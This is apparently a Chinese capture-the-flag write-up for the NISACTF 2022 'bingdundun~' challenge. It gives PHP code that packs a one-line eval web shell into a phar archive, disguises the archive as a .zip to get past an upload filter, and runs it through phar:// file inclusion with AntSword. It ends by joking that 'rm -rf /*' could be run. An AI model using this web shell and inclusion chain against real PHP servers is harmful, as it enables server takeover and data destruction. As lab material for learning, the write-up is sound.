[NISACTF 2022]bingdundun~

POC

分析这题之前先学一下总结一下PHP的伪协议

[Web安全]PHP伪协议

  1. file:// — 访问本地文件系统
  2. http:// — 访问 HTTP(s) 网址
  3. ftp:// — 访问 FTP(s) URLs
  4. php:// — 访问各个输入/输出流(I/O streams)
  5. zlib:// — 压缩流
  6. data:// — 数据(RFC 2397)
  7. glob:// — 查找匹配的文件路径模式
  8. phar:// — PHP 归档
  9. ssh2:// — Secure Shell 2
  10. rar:// — RAR
  11. ogg:// — 音频流
  12. expect:// — 处理交互式的流

具体信息请访问WEB/PHP/PHP伪协

构造phar

直接套(参考各大网站

<?php
    $payload = '<?php eval($_POST["shell"]); ?>' //一句话木马
    $phar = new Phar("example.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->addFromString("67.php", "$payload"); //添加要压缩的文件
    // $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
    $phar->stopBuffering();
?>

生成了example.phar,里面的payload.php里就写了一句话木马

绕过类型检测

这个冰墩墩有点挑,只喜欢压缩包和图片,那就用zip处理吧
将example.phar重命名为example.zip,上传成功,返回如下信息:

/var/www/html\/xxxxxxxxxxxxxxxxxxxxxxxx.zip 成功上传了冰墩墩喜爱的文件,然后呢?

自由发挥(雾)

然后你需要观察,可以看到在打开靶机后,有个upload超链接,点进去发现url加上了一个参数“bingdundun”,如下:

  • http://1.14.71.254:xxxxx/?bingdundun=upload

好了,把我们刚才传上去的文件连AntSword用phar一顿乱日吧:

http://1.14.71.254:xxxxx/?bingdundun=phar://xxxxxxxxxxxxxxxxxxxxxxxx.zip/67

你可能会问:

  • 为什么是67而不是67.php?因为他会自动给我们加上,所以不要慌
  • phar伪协议解析zip?非也,phar伪协议只认phar文件特征(stub等),后缀是给人看的
  • 67.php怎么来的? 构造phar时压进去的,参考前文代码

AntSword连这个链接,密码shell,根目录找到flag,出了

至于为什么叫 自由发挥 ,前面构造phar的时候你完全可以写自己的代码上去(把它rm -rf /*都可以(逃)